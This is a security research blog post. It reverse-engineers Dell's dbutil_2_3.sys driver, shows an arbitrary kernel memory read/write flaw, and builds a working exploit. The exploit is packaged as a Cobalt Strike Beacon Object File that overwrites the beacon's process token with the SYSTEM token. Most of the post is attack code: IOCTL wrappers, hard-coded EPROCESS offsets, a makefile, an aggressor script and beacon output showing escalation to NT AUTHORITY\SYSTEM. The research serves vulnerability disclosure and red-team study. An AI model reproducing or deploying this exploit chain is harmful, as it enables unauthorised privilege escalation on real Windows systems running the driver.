A foundation for kernel exploitation via Cobalt Strike

Posted on by Tijme Gommers.

[TL;DR] Dell’s bios kernel driver is vulnerable for an arbitrary kernel memory read/write. This blog describes how to utilise it in a Cobalt Strike (CS) Beacon Object File (BOF) to perform kernel exploitation. As an example, we escalate privileges to NT AUTHORITY\SYSTEM. The result has been published on GitHub.


This blog post consists of 5 chapters. Identifying the vulnerability, developing an exploit to read and write kernel memory, converting everything to a Cobalt Strike (CS) Beacon Object File (BOF) foundation that performs privilege escalation, describing its usage, and a demo of the end result.

1. Vulnerability

Loading the vulnerable driver in IDA presents the following DriverEntry function.

IDA Driver Entry of dbutil_2_3.sys

The jmp at the bottom references the actual driver entry written by the developer. That function receives DRIVER_OBJECT* driver and IRP* irp as arguments. In that function the IRP_MJ_DEVICE_CONTROL callback in driver->MajorFunction is set.

MajorFunction is at offset 0x70 on the DRIVER_OBJECT. The offset of the IRP_MJ_DEVICE_CONTROL callback in MajorFunction is at offset 0x70 as well. The sum is 0xE0, which we can see being set on rdi (the DRIVER_OBJECT) in the graph below. Thus, sub_11170 in rax is the IRP_MJ_DEVICE_CONTROL callback.

IDA Real Driver Entry of dbutil_2_3.sys with MajorFunction[IRP_MJ_DEVICE_CONTROL]

As expected, sub_11170 contains a large switch statement with various IO control codes (IOCTLs). I use an IDA Python plugin called Call Tree Overviewer which yields an overview of the call tree, to easily identify what certain switch cases do. It turns out some of the IOCTLs call memmove, and some call sub functions with memmove.

One of these sub functions is sub_15294, which is called by two IOCTLs (0x9B0C1EC4 and 0x9B0C1EC8). The only difference between the IOCTLs is that, when calling 0x9B0C1EC4, the dl register is set to 1. sub_15294 receives rcx as argument. rcx is set to rdi, one of the first variables being assembled to a struct, in the IRP_MJ_DEVICE_CONTROL callback. It contains two 64-bit integers. The first one being set to irp->AssociatedIrp->SystemBuffer (a user controlled buffer), and the second one to irp->CurrentStackLocation->InputBufferLength (the length of the user controlled buffer).

Building the first argument to pass to the vulnerable IOCTLs

In sub_15294, memmove is being called with arguments based on the first pointer in rcx (which is the user input, and it seems to be a struct). The function definition of memmove is included below. Based on the dl register (which was previously set based on the IOCTL being called), certain properties of the struct are either used for destination or source, implying that sub_15294 supports both reading and writing kernel memory based on user input. If this happens without proper input validation, the kernel driver is vulnerable to a write-what-where vulnerability.

void* memmove(void* destination, void* source, size_t num);

In the Windows 64-bit calling convention, the following registers would be used to call memmove.

memmove(rcx, rdx, r8)

Within sub_15294, r9 is being set to irp->AssociatedIrp->SystemBuffer. Then two flows are possible. Within the writing flow (IOCTL 0x9B0C1EC8), before calling memmove:

  • rcx/destination points to r9+0x18 (the address to write to).
  • rdx points to the sum of rbx+0x8 and rbx+0x10 (the address to write from).
  • r8 is set to irp->CurrentStackLocation->InputBufferLength minus 24.

Within the reading flow (IOCTL 0x9B0C1EC4), before calling memmove:

  • rcx/destination points to the sum of rbx+0x8 and rbx+0x10 (the address to read to).
  • rdx/source points to r9+0x18 (the address to read from).
  • r8 is set to irp->CurrentStackLocation->InputBufferLength minus 24 (number of bytes to move).

Concluding, this allows us to construct the following struct:

typedef struct _PACKET
{
    uint64_t ignore;                // Offset 0x00/00: Ignore
    uint8_t* user_address;          // Offset 0x08/08: Address to read from or write to
    uint64_t user_address_offset;   // Offset 0x10/16: Offset (may always be 0)
    uint8_t* kernel_address;        // Offset 0x18/24: Data to write (if writing)
} PACKET, * PPACKET;

Which will call memmove in the following ways:

// Writing kernel memory
memmove(packet->kernel_address, packet->user_address + packet->user_address_offset, 8);

// Reading kernel memory
memmove(packet->user_address + packet->user_address_offset, packet->kernel_address, 8);

As there is no proper input validation whatsoever, the kernel driver is indeed vulnerable to a write-what-where vulnerability.

2. Exploit

To communicate with the driver, we first need to open a handle to it. The pseudocode below shows how to open a handle to the symbolic link of the driver device. Using the software DeviceTree (from OSR), the ACLs on the symbolic link can be inspected. This shows that Everyone has permissions to open handle to the symbolic link. Thus, the code below to create a handle to the symbolic link can even be executed by low-privileged users on the system. This gives threat actors the opportunity for privilege escalation.

HANDLE hDevice = CreateFileW(L"\\\\.\\dbutil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Afterwards, this handle can be used to call the two vulnerable IOCTLs. I’ve created two functions for this. The first one is for reading kernel memory, by passing the device handle and a kernel address to it.

/**
 * Read kernel space memory.
 * 
 * @param HANDLE hDevice The handle to the vulnerable driver.
 * @param uint8_t* kernel_address Kernel space address to read.
 * @return uint8_t* The memory byte stream.
 */
uint8_t* memoryRead(HANDLE hDevice, uint8_t* kernel_address) {
    uint32_t lpBytesReturned;
    PACKET lpBuffer;

    lpBuffer.user_address_offset = 0;
    lpBuffer.kernel_address = kernel_address;

    if (!DeviceIoControl(hDevice, ARBITRARY_READ_IOCTL, &lpBuffer, sizeof(lpBuffer), &lpBuffer, sizeof(lpBuffer), &lpBytesReturned, NULL)) {
        puts("DeviceIoControl error in 'memoryRead'.");
    }
    
    return lpBuffer.value;
}

The second one is for writing kernel memory, by passing the device handle, a kernel address and a 64-bit value to write.

/**
 * Write kernel space memory.
 * 
 * @param HANDLE hDevice The handle to the vulnerable driver.
 * @param uint8_t* address Kernel space address to write to.
 * @param uint8_t* user_address The 64-bit value to write.
 * @return uint8_t* The memory byte stream.
 */
void memoryWrite(HANDLE hDevice, uint8_t* kernel_address, uint8_t* user_address) {
    uint32_t lpBytesReturned;
    PACKET lpBuffer;

    lpBuffer.user_address = user_address;
    lpBuffer.user_address_offset = 0;
    lpBuffer.kernel_address = kernel_address;

    if (!DeviceIoControl(hDevice, ARBITRARY_WRITE_IOCTL, &lpBuffer, sizeof(lpBuffer), &lpBuffer, sizeof(lpBuffer), &lpBytesReturned, NULL)) {
        puts("DeviceIoControl error in 'memoryWrite'.");
    }
}

The code below is proof-of-concept code on how to use these functions. We read from and write to the address 0xfffff78000000000, which holds the KUSER_SHARED_DATA struct on 64-bit Windows machines. The first 64-bits of this struct hold TickCountLowDeprecated (a deprecated ULONG) and TickCountMultiplier also a ULONG.

HANDLE hDevice = CreateFileW(L"\\\\.\\dbutil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    puts("Failed to open handle to kernel driver.");
    return;
}

// Reading from 0xfffff78000000000
uint64_t initialValue = memoryRead(hDevice, 0xfffff78000000000);
printf("0xfffff78000000000: %x.", initialValue);

// Writing to 0xfffff78000000000
memoryWrite(hDevice, 0xfffff78000000000, 1);
puts("Wrote 1 to 0xfffff78000000000.");

// Recovering 0xfffff78000000000
memoryWrite(hDevice, 0xfffff78000000000, initialValue);
puts("Recovered 0xfffff78000000000 to %x.", initialValue);

3. Foundation

To create a foundation for kernel exploitation via Cobalt Strike, we convert the exploit to a Beacon Object File that utilises the memoryRead and memoryWrite functions. The implementations of these functions may change over time (for example if we use a different vulnerable driver). But if their function definitions stay the same, we can essentialy develop exploits as Beacon Object Files that do not depend on a specific vulnerable driver, but rather the two function definitions.

3.1 Makefile

The first thing we’ll do is create a makefile to compile our code to both a PE-file and a BOF subsequently.

BOFNAME := KernelMii
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc

all:
    $(CC_x64) -c ./$(BOFNAME).c -o ./$(BOFNAME).x64.o -masm=intel -DBOF 
    $(CC_x86) -c ./$(BOFNAME).c -o ./$(BOFNAME).x86.o -masm=intel -DBOF 
    $(CC_x64) ./$(BOFNAME).c -o ./$(BOFNAME).x64.exe -masm=intel -lole32 -loleaut32 -lntdll
    $(CC_x86) ./$(BOFNAME).c -o ./$(BOFNAME).x86.exe -masm=intel -lole32 -loleaut32 -lntdll

In the above makefile, we’ve defined our x64 and x86 compiler in a variable. Additionally, we define the name of our project in BOFNAME. When running make, all commands in the first action will be executed, in this case everything under all. The first two commands are the compilation to a BOF. As can be seen, the variable BOF is defined to be used for the macro preprocessor. The second two are for the compilation to a PE-file.

3.2 Entrypoint

Usually the main function is exported and called by a PE-loader on, for example, double click by a user. For a BOF, we can define which function is called on run ourselves. The Cobalt Strike documentation always uses the go function, so we’ll go ahead and use that as well. In both main and go, we’ll call the same boot function.

#ifdef BOF
    /**
     * CS BOF entry point.
     * 
     * The Cobalt Strike (CS) Beacon Object File (BOF) entry point.
     * 
     * @param char* args The array of arguments.
     * @param int length The length of the array of arguments.
     */
    void go(char* args, int length) {
        boot();
    }
#else
    /**
     * Test the kernel exploit & elavation code
     *
     * @param int argc Amount of arguments in argv.
     * @param char** Array of arguments passed to the program.
     */
    void main(int argc, char** argv) {
        boot();
    }
#endif

3.3 Aggressor script

Cobalt Strike uses aggressor scripts (.cna files) to import functionality, such as Beacon Object Files, into Cobalt Strike. The aggressor script below tells Cobalt Strike to provide the hacker with a function kernel_mii. When kernel_mii is called, it will import the compiled Beacon Object File, and run the go function.

alias kernel_mii {
    local('$file $handle $object $args');

    # Log the current task
    btask($1, "Tasked beacon to run KernelMii!");

    # Find and log object file
    $file = script_resource("KernelMii.o");
    blog($1, $file);

    # Read the object file
    $handle = openf($file);
    $object = readb($handle, -1);
    closef($handle);

    # Pack empty arguments
    $args = bof_pack($1, "zi");
    
    # Run the object file
    beacon_inline_execute($1, $object, "go", $args);
}

3.4 Headers

To be able to utilise Cobalt Strike functionality (like printing to the Cobalt Strike console), we need to include a Beacon Object header.

#include "headers/beacon.h"

The required contents for the header file can be downloaded here. It contains all required function definitions to utilise Cobalt Strike functionality.

3.5 Console

As stated, printing to the Cobalt Strike console works differently than printing to a Windows console. We need to define cross-compatible print methods and use them instead of functions like printf and puts. The code below defines PRINT and PRINT_ERROR, which will use fprintf (Windows console) or BeaconPrintf depending on whether BOF is defined.

/**
 * Define cross-compatible print methods
 */
#ifdef BOF
    #define PRINT(...) { \
        BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
    }
#else
    #define PRINT(...) { \
        fprintf(stdout, "[+] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

#ifdef BOF
    #define PRINT_ERROR(...) { \
        BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \
    }
#else
    #define PRINT_ERROR(...) { \
        fprintf(stdout, "[!] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

We can now use these functions as follows.

PRINT_ERROR("Could not open handle. Error: %x.", GetLastError());

3.6 Windows API

The print statement above is a good start, but it won’t work in Cobalt Strike. This is because GetLastError() is called, which is located in Kernel32.dll. It cannot be resolved by the linker (Cobalt Strike).

Beacon Object Files require a __declspec(dllimport) keyword, which is defined in winnt.h as DECLSPEC_IMPORT. This indicates to the compiler that this function is found within a DLL, telling the compiler essentially “this function will be resolved later”. Since Cobalt Strike is the linker, this is needed to tell the compiler to let the linking come later. Since the linking will come later, this also means a full function prototype must be supplied to the Beacon Object File (source).

For GetLastError(), an example is included below. First, we define the prototype definition. Using it, we can call KERNEL32$GetLastError(). However, as we’re cross-compiling to a PE-file as well, it would be nice to just call GetLastError(). To do this, we use the macro preprocessor to redirect GetLastError() to KERNEL32$GetLastError() for Beacon Object Files.

#ifdef BOF
    DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();
    #define GetLastError KERNEL32$GetLastError
#endif

Here’s an example header file for various Windows API function definitions.

3.7 Privilege Escalation

The last thing we need to do is perform the actual privilege escalation on the current process. We’ll do this as follows.

  1. Find PsInitialSystemProcess offset in ntoskrnl.exe.
  2. Take note of PsInitialSystemProcess's token.
  3. Iterate the _EPROCESS chain until our own process is found.
  4. Overwrite our token with PsInitialSystemProcess's token.

Find PsInitialSystemProcess offset in ntoskrnl.exe

The first step can be achieved by retrieving the variable PsInitialSystemProcess from ntoskrnl.exe using GetProcAddress(...).

HMODULE hNtOsKrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtOsKrnl) {
    PRINT_ERROR("Cannot load 'ntoskrnl.exe'.");
    CloseHandle(hDevice);
    return;
}

size_t systemProcessOffset = (uint8_t*) ((size_t) GetProcAddress(hNtOsKrnl, "PsInitialSystemProcess") - (size_t) hNtOsKrnl);
PRINT_DEBUG("Identified 'PsInitialSystemProcess' at 0x%x.", systemProcessOffset);

Take note of PsInitialSystemProcess's token.

The second step can be achieved by obtaining the kernel base (for which there are various options), and then using the base and system process offset to find the system process, and then its token.

uint8_t* systemProcessPointerAddress = (uint8_t*) ((size_t) kernelBase + systemProcessOffset);
PRINT_DEBUG("Identified system process pointer address at %p.", systemProcessPointerAddress);

uint8_t* systemProcessAddress = memoryRead(hDevice, systemProcessPointerAddress);
PRINT_DEBUG("Identified system process address at %p.", systemProcessAddress);

uint8_t* systemProcessToken = (uint8_t*) ((size_t) memoryRead(hDevice, systemProcessAddress + 0x4b8) & 0xfffffffffffffff0);
PRINT_DEBUG("Identified system process token at %p.", systemProcessToken);

Iterate the _EPROCESS chain until our own process is found

To find our own process, we find the active process linked list in the system’s _EPROCESS. We iterate the list until the _EPROCESS ID equals our own process ID.

uint8_t* activeProcessLinks = memoryRead(hDevice, systemProcessAddress + 0x448);
PRINT_DEBUG("Identified active process links at %p.", activeProcessLinks);

while (true) {
    if (memoryRead(hDevice, activeProcessLinks - 8) == GetCurrentProcessId()) {
        uint8_t* currentProcess = activeProcessLinks - 0x448;
        PRINT_DEBUG("Found current process (beacon) at %p.", currentProcess);
    }

    activeProcessLinks = memoryRead(hDevice, activeProcessLinks);
}

Overwrite our token with PsInitialSystemProcess's token

The last step is to adjust the code in the step above to overwrite the token if our _EPROCESS is found. We overwrite the token of our own process, at offset 0x4b8, with the token of the system process.

uint8_t* activeProcessLinks = memoryRead(hDevice, systemProcessAddress + 0x448);
PRINT_DEBUG("Identified active process links at %p.", activeProcessLinks);

while (true) {
    if (memoryRead(hDevice, activeProcessLinks - 8) == GetCurrentProcessId()) {
        uint8_t* currentProcess = activeProcessLinks - 0x448;
        PRINT_DEBUG("Found current process (beacon) at %p.", currentProcess);
        memoryWrite(hDevice, currentProcess + 0x4b8, systemProcessToken);
        PRINT_DEBUG("Setting current process (beacon) token to system process token.");
        PRINT_DEBUG("Exploit executed successfully! You are now SYSTEM.");
        break;
    }

    activeProcessLinks = memoryRead(hDevice, activeProcessLinks);
}

4. Usage

If we compile our code and load it into Cobalt Strike via its script manager, we can use it to escalate privileges (if the vulnerable driver is installed and running). This can be done as seen in the command and corresponding output below.

beacon > getuid
[*] Tasked beacon to get userid
[+] host called home, sent : 8 bytes
[*] You are WINDOWS-10\WDKRemoteUser
beacon > kernel_mii
[+] host called home, sent : 21626 bytes
[+] received output
Identifying if vulnerable kernel driver is installed.
Identified 'PsInitialSystemProcess' at 0xCFB420.
Identified 'ntoskrnl.exe' base address at 0x4FC00000.
Identified system process pointer address at 0XFFFFF801508FB420.
Identified system process address at 0XFFFF8C05E565D040.
Identified system process token at 0XFFFFA30329445850.
Identified active process links at 0XFFFF8C05E570C4C8.
Found current process (beacon) at 0XFFFF8C05EB973080.
Setting current process (beacon) token to system process token.
Exploit executed successfully! You are now SYSTEM.
beacon > getuid
[*] Tasked beacon to get userid
[+] host called home, sent : 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

5. Result

The results of this research are available on GitHub. This includes the compiled Beacon Object File and PE-file.